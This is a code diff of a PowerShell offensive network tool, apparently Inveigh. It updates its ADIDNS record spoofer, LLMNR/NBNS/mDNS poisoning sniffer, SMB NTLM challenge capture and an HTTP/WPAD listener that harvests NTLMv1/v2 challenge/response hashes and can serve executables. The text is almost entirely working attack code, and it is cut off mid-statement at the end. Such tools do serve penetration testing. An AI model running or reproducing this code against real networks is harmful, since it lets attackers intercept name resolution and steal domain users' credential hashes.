$object_category += ",DC=$DC" } @@ -1969,12 +2085,12 @@ $ADIDNS_functions_scriptblock = $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dnsRecord",$DNSRecord)) > $null $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dNSTombstoned","TRUE")) > $null $connection.SendRequest($request) > $null - $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] ADIDNS node $Node added") > $null + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] ADIDNS node $Node added to $Zone") > $null $output = $true if($inveigh.ADIDNS -eq 'Combo') { - $inveigh.DNS_table.$Node = "1" + $inveigh.ADIDNS_table.$Node = "1" } } @@ -1992,7 +2108,7 @@ $ADIDNS_functions_scriptblock = if($inveigh.ADIDNS -eq 'Combo') { - $inveigh.DNS_table.$Node = "0" + $inveigh.ADIDNS_table.$Node = "0" } } @@ -2138,8 +2254,8 @@ $ADIDNS_functions_scriptblock = function New-DNSRecordArray { - [CmdletBinding()] + [OutputType([Byte[]])] param ( [parameter(Mandatory=$false)][String]$Data, @@ -2150,7 +2266,10 @@ $ADIDNS_functions_scriptblock = [parameter(Mandatory=$false)][Int]$Priority, [parameter(Mandatory=$false)][Int]$Weight, [parameter(Mandatory=$false)][Int]$Port, - [parameter(Mandatory=$false)][Int]$TTL + [parameter(Mandatory=$false)][Int]$TTL = 600, + [parameter(Mandatory=$false)][Int32]$SOASerialNumber, + [parameter(Mandatory=$false)][Switch]$Static, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) $SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone @@ -2301,7 +2420,7 @@ $ADIDNS_functions_scriptblock = $DNS_record += $DNS_data - return [Byte[]]$DNS_record + return ,$DNS_record } function Invoke-ADIDNSSpoofer @@ -2312,6 +2431,7 @@ $ADIDNS_functions_scriptblock = [parameter(Mandatory=$false)][String]$Data, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Forest, [parameter(Mandatory=$true)][String]$Node, [parameter(Mandatory=$false)]$Partition, [parameter(Mandatory=$false)][String]$Zone, @@ -2321,7 +2441,7 @@ $ADIDNS_functions_scriptblock = try { - $node_added = New-ADIDNSNode -Credential $Credential -Data $Data -Domain $Domain -DomainController $DomainController -Node $Node -Partition $Partition -TTL $TTL -Zone $Zone + $node_added = New-ADIDNSNode -Credential $Credential -Data $Data -Domain $Domain -DomainController $DomainController -Forest $Forest -Node $Node -Partition $Partition -TTL $TTL -Zone $Zone if($inveigh.ADIDNS -and !$node_added) { @@ -2337,6 +2457,9 @@ $ADIDNS_functions_scriptblock = } catch { + $error_message = $_.Exception.Message + $error_message = $error_message -replace "`n","" + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message") > $null $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] ADIDNS spoofer disabled due to error") > $null $inveigh.ADIDNS = $null } @@ -2352,6 +2475,7 @@ $ADIDNS_functions_scriptblock = [parameter(Mandatory=$false)][String]$Data, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Forest, [parameter(Mandatory=$false)]$Partition, [parameter(Mandatory=$false)][String]$Zone, [parameter(Mandatory=$false)][Int]$Threshold, @@ -2365,21 +2489,27 @@ $ADIDNS_functions_scriptblock = ForEach($request in $RequestTable.Keys) { - if($RequestTable.$request.Count -gt $Threshold) + if(($RequestTable.$request | Sort-Object -Unique).Count -gt $Threshold) { - if(!$inveigh.DNS_table.ContainsKey($request)) + if(!$inveigh.ADIDNS_table.ContainsKey($request)) { - $inveigh.DNS_table.Add($request,"") + $inveigh.ADIDNS_table.Add($request,"") } - if($Ignore -NotContains $request -and $inveigh.DNS_table.$request -ne 0 -and $inveigh.DNS_table.$request -ne 1) + if($Ignore -NotContains $request -and !$inveigh.ADIDNS_table.$request) { - Invoke-ADIDNSSpoofer -Credential $Credential -Data $Data -Domain $Domain -DomainController $DomainController -Node $request -Partition $Partition -TTL $TTL -Zone $Zone + Invoke-ADIDNSSpoofer -Credential $Credential -Data $Data -Domain $Domain -DomainController $DomainController -Forest $Forest -Node $request -Partition $Partition -TTL $TTL -Zone $Zone } elseif($Ignore -Contains $request) { - $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] ADIDNS spoofer ignored $request") + + if(!$inveigh.ADIDNS_table.$request) + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] ADIDNS combo attack ignored $request") > $null + $inveigh.ADIDNS_table.$request = 3 + } + } } @@ -2397,13 +2527,14 @@ $SMB_NTLM_functions_scriptblock = function Get-SMBConnection { - param ([Byte[]]$Payload,[String]$Session,[String]$Port) + param ([Byte[]]$Payload,[String]$IP,[String]$SourceIP,[String]$SourcePort,[String]$Port) $payload_converted = [System.BitConverter]::ToString($Payload) $payload_converted = $payload_converted -replace "-","" + $session = "$SourceIP`:$SourcePort" $SMB_index = $payload_converted.IndexOf("FF534D42") - if(!$inveigh.SMB_session_table.ContainsKey($Session) -and $SMB_index -gt 0 -and $payload_converted.SubString(($SMB_index + 8),2) -eq "72") + if(!$inveigh.SMB_session_table.ContainsKey($Session) -and $SMB_index -gt 0 -and $payload_converted.SubString(($SMB_index + 8),2) -eq "72" -and ($IP -ne $SourceIP)) { $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB($Port) negotiation request detected from $Session") > $null } @@ -2415,7 +2546,7 @@ $SMB_NTLM_functions_scriptblock = $SMB_index = $payload_converted.IndexOf("FE534D42") - if(!$inveigh.SMB_session_table.ContainsKey($Session) -and $SMB_index -gt 0 -and $payload_converted.SubString(($SMB_index + 24),4) -eq "0000") + if(!$inveigh.SMB_session_table.ContainsKey($Session) -and $SMB_index -gt 0 -and $payload_converted.SubString(($SMB_index + 24),4) -eq "0000" -and ($IP -ne $SourceIP)) { $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB($Port) negotiation request detected from $Session") > $null } @@ -2487,10 +2618,10 @@ $SMB_NTLM_functions_scriptblock = $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] Domain mapping added for $netBIOS_domain_name to $DNS_domain_name") > $null } - if($inveigh.enumeration_data | Where-Object {$_.IP -eq $target -and !$_.Hostname}) + if($inveigh.enumerated_data | Where-Object {$_.IP -eq $target -and !$_.Hostname}) { - $target_index = $inveigh.enumeration_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index - $inveigh.enumeration_data[$target_index].Hostname = $DNS_computer_name + $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index + $inveigh.enumerated_data[$target_index].Hostname = $DNS_computer_name } } @@ -2546,7 +2677,7 @@ $SMB_NTLM_functions_scriptblock = if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string"))) { - $inveigh.NTLMv2_file_queue.Add($NTLMv2_hash) + $inveigh.NTLMv2_file_queue.Add($NTLMv2_hash) > $null $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] SMB NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) > $null } @@ -2569,7 +2700,7 @@ $SMB_NTLM_functions_scriptblock = if($source_IP -ne $IP -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$')))) { - $inveigh.NTLMv1_list.Add($NTLMv1_hash) + $inveigh.NTLMv1_list.Add($NTLMv1_hash) > $null if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string")) { @@ -2582,7 +2713,7 @@ $SMB_NTLM_functions_scriptblock = if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string"))) { - $inveigh.NTLMv1_file_queue.Add($NTLMv1_hash) + $inveigh.NTLMv1_file_queue.Add($NTLMv1_hash) > $null $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] SMB NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) > $null } @@ -2608,12 +2739,12 @@ $SMB_NTLM_functions_scriptblock = } # HTTP Server ScriptBlock - HTTP/HTTPS/Proxy listener -$HTTP_scriptblock = -{ - param ($Challenge,$HTTPAuth,$HTTPBasicRealm,$HTTPContentType,$HTTPIP,$HTTPPort,$HTTPDefaultEXE,$HTTPDefaultFile,$HTTPDir,$HTTPResetDelay,$HTTPResetDelayTimeout,$HTTPResponse, +$HTTP_scriptblock = +{ + param ($Challenge,$HTTPAuth,$HTTPBasicRealm,$HTTPContentType,$HTTPIP,$HTTPPort,$HTTPDefaultEXE,$HTTPDefaultFile,$HTTPDir,$HTTPResponse, $HTTPS_listener,$NBNSBruteForcePause,$Proxy,$ProxyIgnore,$proxy_listener,$WPADAuth,$WPADAuthIgnore,$WPADResponse) - function NTLMChallengeBase64 + function Get-NTLMChallengeBase64 { param ([String]$Challenge,[Bool]$NTLMESS,[String]$ClientIPAddress,[Int]$ClientPort) @@ -2662,15 +2793,15 @@ $HTTP_scriptblock = 0x38,0x00,0x00,0x00 + $HTTP_NTLM_negotiation_flags + $HTTP_challenge_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $target_length + $target_length + $target_offset + 0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f + $netBIOS_domain_bytes + - 0x02,0x00 + + 0x02,0x00 + $netBIOS_domain_length + - $netBIOS_domain_bytes + + $netBIOS_domain_bytes + 0x01,0x00 + $hostname_length + $hostname_bytes + @@ -2719,7 +2850,7 @@ $HTTP_scriptblock = $HTTP_running = $true $HTTP_listener = New-Object System.Net.Sockets.TcpListener $HTTP_endpoint $HTTP_client_close = $true - + if($proxy_listener) { $HTTP_linger = New-Object System.Net.Sockets.LingerOption($true,0) @@ -2738,18 +2869,18 @@ $HTTP_scriptblock = :HTTP_listener_loop while($inveigh.running -and $HTTP_running) { - $TCP_request = "" + $TCP_request = $null $TCP_request_bytes = New-Object System.Byte[] 4096 $HTTP_send = $true - $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("text/html") - $HTTP_header_cache_control = "" - $HTTP_header_authenticate = "" - $HTTP_header_authenticate_data = "" - $HTTP_message = "" - $HTTP_header_authorization = "" - $HTTP_header_host = "" - $HTTP_header_user_agent = "" - $HTTP_request_raw_URL = "" + $HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: text/html") + $HTTP_header_cache_control = $null + $HTTP_header_authenticate = $null + $HTTP_header_authenticate_data = $null + $HTTP_message = '' + $HTTP_header_authorization = '' + $HTTP_header_host = $null + $HTTP_header_user_agent = $null + $HTTP_request_raw_URL = $null $NTLM = "NTLM" while(!$HTTP_listener.Pending() -and !$HTTP_client.Connected) @@ -2788,7 +2919,7 @@ $HTTP_scriptblock = } else { - + if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.running) { $HTTP_client = $HTTP_listener.AcceptTcpClient() @@ -2806,7 +2937,7 @@ $HTTP_scriptblock = while($HTTP_stream.DataAvailable) { - $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) + $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) > $null } $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes) @@ -2818,13 +2949,14 @@ $HTTP_scriptblock = $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) $HTTP_source_IP = $HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $HTTP_connection_header_close = $true if($NBNSBruteForcePause) { $inveigh.NBNS_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() $inveigh.hostname_spoof = $true } - + if($TCP_request -like "*-48-6F-73-74-3A-20-*") { $HTTP_header_host_extract = $TCP_request.Substring($TCP_request.IndexOf("-48-6F-73-74-3A-20-") + 19) @@ -2839,14 +2971,6 @@ $HTTP_scriptblock = $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Substring(0,$HTTP_header_user_agent_extract.IndexOf("-0D-0A-")) $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $HTTP_header_user_agent = New-Object System.String ($HTTP_header_user_agent_extract,0,$HTTP_header_user_agent_extract.Length) - - if($HTTPResetDelay.Count -gt 0 -and ($HTTPResetDelay | Where-Object {$HTTP_header_user_agent -match $_})) - { - $HTTP_reset_delay = $true - $HTTP_reset_delay_timeout = New-TimeSpan -Seconds $HTTPResetDelayTimeout - $HTTP_reset_delay_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - } - } if($HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $HTTP_client.Client.Handle) @@ -2861,7 +2985,7 @@ $HTTP_scriptblock = } } - + if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*") { $HTTP_header_authorization_extract = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46) @@ -2899,11 +3023,11 @@ $HTTP_scriptblock = $HTTP_response_status_code = 0x34,0x30,0x31 $HTTP_header_authenticate = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 } - + $HTTP_response_phrase = 0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64 $HTTP_client_close = $false } - + if($TCP_request -like "50-4f-53-54*") { $HTTP_POST_request_extract = $TCP_request.Substring($TCP_request.IndexOf("-0D-0A-0D-0A-") + 12) @@ -2920,16 +3044,16 @@ $HTTP_scriptblock = $HTTP_POST_request_old = $HTTP_POST_request } - + if($HTTP_header_authorization.StartsWith('NTLM ')) { - $HTTP_header_authorization = $HTTP_header_authorization -replace 'NTLM ','' [Byte[]]$HTTP_request_bytes = [System.Convert]::FromBase64String($HTTP_header_authorization) - + $HTTP_connection_header_close = $false + if([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '01-00-00-00') { - $NTLM = NTLMChallengeBase64 $Challenge $HTTPNTLMESS $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port + $NTLM = Get-NTLMChallengeBase64 $Challenge $HTTPNTLMESS $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port } elseif([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '03-00-00-00') { @@ -2940,16 +3064,16 @@ $HTTP_scriptblock = [String]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + '*' $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(",")) + 1) - + if($HTTP_NTLM_domain_length -eq 0) { - $HTTP_NTLM_domain_string = "" + $HTTP_NTLM_domain_string = $null } else { $HTTP_NTLM_domain_string = Convert-DataToString $HTTP_NTLM_domain_offset $HTTP_NTLM_domain_length $HTTP_request_bytes } - + $HTTP_NTLM_user_length = Get-UInt16DataLength 36 $HTTP_request_bytes $HTTP_NTLM_user_offset = Get-UInt32DataLength 40 $HTTP_request_bytes $HTTP_NTLM_user_string = Convert-DataToString $HTTP_NTLM_user_offset $HTTP_NTLM_user_length $HTTP_request_bytes @@ -2957,17 +3081,17 @@ $HTTP_scriptblock = $HTTP_NTLM_host_offset = Get-UInt32DataLength 48 $HTTP_request_bytes $HTTP_NTLM_host_string = Convert-DataToString $HTTP_NTLM_host_offset $HTTP_NTLM_host_length $HTTP_request_bytes $HTTP_username_full = $HTTP_NTLM_domain_string + "\" + $HTTP_NTLM_user_string - + if($HTTP_NTLM_length -eq 24) # NTLMv1 { $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" $NTLM_response = $NTLM_response.Insert(48,':') $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge - + if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { + { $inveigh.NTLMv1_list.Add($HTTP_NTLM_hash) > $null - + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_username_full")) { $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") > $null @@ -2979,7 +3103,7 @@ $HTTP_scriptblock = if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_username_full"))) { - $inveigh.NTLMv1_file_queue.Add($HTTP_NTLM_hash) + $inveigh.NTLMv1_file_queue.Add($HTTP_NTLM_hash) > $null $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) > $null } @@ -2992,15 +3116,15 @@ $HTTP_scriptblock = } else # NTLMv2 - { + { $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" $NTLM_response = $NTLM_response.Insert(32,':') $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response - + if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) { $inveigh.NTLMv2_list.Add($HTTP_NTLM_hash) > $null - + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_username_full")) { $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") > $null @@ -3012,7 +3136,7 @@ $HTTP_scriptblock = if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_username_full"))) { - $inveigh.NTLMv2_file_queue.Add($HTTP_NTLM_hash) + $inveigh.NTLMv2_file_queue.Add($HTTP_NTLM_hash) > $null $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) > $null } @@ -3038,7 +3162,7 @@ $HTTP_scriptblock = $HTTP_response_status_code = 0x32,0x30,0x30 $HTTP_response_phrase = 0x4f,0x4b $HTTP_client_close = $true - $NTLM_challenge = "" + $NTLM_challenge = $null if($proxy_listener) { @@ -3086,7 +3210,7 @@ $HTTP_scriptblock = if($HTTPDir -and $HTTPDefaultEXE -and $HTTP_request_raw_url -like '*.exe' -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultEXE)) -and !(Test-Path (Join-Path $HTTPDir $HTTP_request_raw_url))) { [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultEXE)) - $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/exe") + $HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: application/exe") } elseif($HTTPDir) { @@ -3102,7 +3226,7 @@ $HTTP_scriptblock = elseif($WPADResponse -and $HTTP_request_raw_url -match '/wpad.dat') { [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($WPADResponse) - $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/x-ns-proxy-autoconfig") + $HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: application/x-ns-proxy-autoconfig") } else { @@ -3125,7 +3249,7 @@ $HTTP_scriptblock = if($WPADResponse -and $HTTP_request_raw_url -match '/wpad.dat' -and (!$ProxyIgnore -or !($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) { $HTTP_message = $WPADResponse - $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/x-ns-proxy-autoconfig") + $HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: application/x-ns-proxy-autoconfig") } elseif($HTTPResponse) { @@ -3133,7 +3257,7 @@ $HTTP_scriptblock = if($HTTPContentType) { - $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes($HTTPContentType) + $HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: $HTTPContentType") } } @@ -3149,7 +3273,6 @@ $HTTP_scriptblock = $HTTP_timestamp = Get-Date -format r $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) - $HTTP_header_content_length = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes($HTTP_message_bytes.Length) if(($HTTPAuth -like 'NTLM*' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -like 'NTLM*' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$HTTP_client_close) { @@ -3159,14 +3282,21 @@ $HTTP_scriptblock = { $HTTP_header_authenticate_data = [System.Text.Encoding]::UTF8.GetBytes("Basic realm=$HTTPBasicRealm") } - + $packet_HTTPResponse = New-Object System.Collections.Specialized.OrderedDictionary - $packet_HTTPResponse.Add("HTTPResponse_RequestVersion",[Byte[]](0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)) + $packet_HTTPResponse.Add("HTTPResponse_ResponseVersion",[Byte[]](0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)) $packet_HTTPResponse.Add("HTTPResponse_StatusCode",$HTTP_response_status_code + [Byte[]](0x20)) $packet_HTTPResponse.Add("HTTPResponse_ResponsePhrase",$HTTP_response_phrase + [Byte[]](0x0d,0x0a)) - $packet_HTTPResponse.Add("HTTPResponse_Server",[Byte[]](0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)) + + if($HTTP_connection_header_close) + { + $HTTP_connection_header = [System.Text.Encoding]::UTF8.GetBytes("Connection: close") + $packet_HTTPResponse.Add("HTTPResponse_Connection",$HTTP_connection_header + [Byte[]](0x0d,0x0a)) + } + + $packet_HTTPResponse.Add("HTTPResponse_Server",[System.Text.Encoding]::UTF8.GetBytes("Server: Microsoft-HTTPAPI/2.0") + [Byte[]](0x0d,0x0a)) $packet_HTTPResponse.Add("HTTPResponse_TimeStamp",[Byte[]](0x44,0x61,0x74,0x65,0x3a,0x20) + $HTTP_timestamp + [Byte[]](0x0d,0x0a)) - $packet_HTTPResponse.Add("HTTPResponse_ContentLength",$HTTP_header_content_length + [Byte[]](0x0d,0x0a)) + $packet_HTTPResponse.Add("HTTPResponse_ContentLength",[System.Text.Encoding]::UTF8.GetBytes("Content-Length: $($HTTP_message_bytes.Length)") + [Byte[]](0x0d,0x0a)) if($HTTP_header_authenticate -and $HTTP_header_authenticate_data) { @@ -3197,7 +3327,6 @@ $HTTP_scriptblock = if($HTTP_client_close) { - $HTTP_reset_delay = $false if($proxy_listener) { @@ -3214,11 +3343,10 @@ $HTTP_scriptblock = else { - if($HTTP_data_available -or !$HTTP_reset_delay -or $HTTP_reset_delay_stopwatch.Elapsed -ge $HTTP_reset_delay_timeout) + if($HTTP_data_available -or $HTTP_connection_header_close) { $HTTP_client.Close() $HTTP_client_close = $true - $HTTP_reset_delay = $false } else { @@ -3241,10 +3369,10 @@ $HTTP_scriptblock = # Sniffer/Spoofer ScriptBlock - LLMNR/NBNS Spoofer and SMB sniffer $sniffer_scriptblock = { - param ($Evade,$IP,$LLMNR,$LLMNR_response_message,$LLMNRTTL,$mDNS,$mDNS_response_message,$mDNSTypes,$mDNSTTL, - $NBNS,$NBNS_response_message,$NBNSTypes,$NBNSTTL,$SMB,$SpooferHostsIgnore,$SpooferHostsReply, - $SpooferIP,$SpooferIPsIgnore,$SpooferIPsReply,$SpooferLearning,$SpooferLearningDelay, - $SpooferLearningInterval) + param ($EvadeRG,$IP,$LLMNR,$LLMNR_response_message,$LLMNRTTL,$mDNS,$mDNS_response_message,$mDNSTypes,$mDNSTTL, + $NBNS,$NBNS_response_message,$NBNSNonprintable,$NBNSTTL,$NBNSTypes,$SMB,$SpooferHostsIgnore, + $SpooferHostsReply,$SpooferIP,$SpooferIPsIgnore,$SpooferIPsReply,$SpooferLearning, + $SpooferLearningDelay,$SpooferLearningInterval,$SpooferThresholdHost,$SpooferThresholdNetwork) $sniffer_running = $true $byte_in = New-Object System.Byte[] 4 @@ -3313,7 +3441,6 @@ $sniffer_scriptblock = $TCP_header_length = [Int]"0x$(('{0:X}' -f $binary_reader.ReadByte())[0])" * 4 $binary_reader.ReadBytes(7) > $null $payload_bytes = $binary_reader.ReadBytes($total_length - ($header_length + $TCP_header_length)) - switch ($destination_port) { @@ -3321,7 +3448,11 @@ $sniffer_scriptblock = { if($SMB -eq 'Y') { - Get-SMBConnection $payload_bytes "$source_IP`:$source_port" "139" + + if($payload_bytes) + { + Get-SMBConnection $payload_bytes $IP $source_IP $source_port "139" + } if($inveigh.SMB_session_table."$source_IP`:$source_port") { @@ -3336,7 +3467,11 @@ $sniffer_scriptblock = if($SMB -eq 'Y') { - Get-SMBConnection $payload_bytes "$source_IP`:$source_port" "445" + + if($payload_bytes) + { + Get-SMBConnection $payload_bytes $IP $source_IP $source_port "445" + } if($inveigh.SMB_session_table."$source_IP`:$source_port") { @@ -3358,12 +3493,16 @@ $sniffer_scriptblock = if($SMB -eq 'Y') { - $NTLM_challenge = Get-SMBNTLMChallenge $payload_bytes + + if($payload_bytes) + { + $NTLM_challenge = Get-SMBNTLMChallenge $payload_bytes + } if($NTLM_challenge) { $inveigh.SMB_session_table."$destination_IP`:$destination_port" = $NTLM_challenge - $NTLM_challenge = "" + $NTLM_challenge = $null } } @@ -3374,13 +3513,17 @@ $sniffer_scriptblock = { if($SMB -eq 'Y') - { - $NTLM_challenge = Get-SMBNTLMChallenge $payload_bytes + { + + if($payload_bytes) + { + $NTLM_challenge = Get-SMBNTLMChallenge $payload_bytes + } if($NTLM_challenge -and $destination_IP -ne $source_IP) { $inveigh.SMB_session_table."$destination_IP`:$destination_port" = $NTLM_challenge - $NTLM_challenge = "" + $NTLM_challenge = $null } } @@ -3427,63 +3570,23 @@ $sniffer_scriptblock = $NBNS_response_data $NBNS_query_type = [System.BitConverter]::ToString($payload_bytes[43..44]) - - switch ($NBNS_query_type) - { - - '41-41' - { - $NBNS_query_type = '00' - } - - '41-44' - { - $NBNS_query_type = '03' - } - - '43-41' - { - $NBNS_query_type = '20' - } - - '42-4C' - { - $NBNS_query_type = '1B' - } - - '42-4D' - { - $NBNS_query_type = '1C' - } - - '42-4E' - { - $NBNS_query_type = '1D' - } - - '42-4F' - { - $NBNS_query_type = '1E' - } - - } - + $NBNS_query_type = Get-NBNSQueryType $NBNS_query_type $NBNS_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes.Length - 4)]) $NBNS_query = $NBNS_query -replace "-00","" $NBNS_query = $NBNS_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length) $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA")) - $NBNS_query_string_subtracted = "" - $NBNS_query_string = "" + $NBNS_query_string_subtracted = $null + $NBNS_query_string = $null $n = 0 do { $NBNS_query_string_sub = (([Byte][Char]($NBNS_query_string_encoded.Substring($n,1))) - 65) $NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16)) - $n += 1 + $n++ } - until($n -gt ($NBNS_query_string_encoded.Length - 1)) + until($n -ge ($NBNS_query_string_encoded.Length)) $n = 0 @@ -3492,7 +3595,23 @@ $sniffer_scriptblock = $NBNS_query_string += 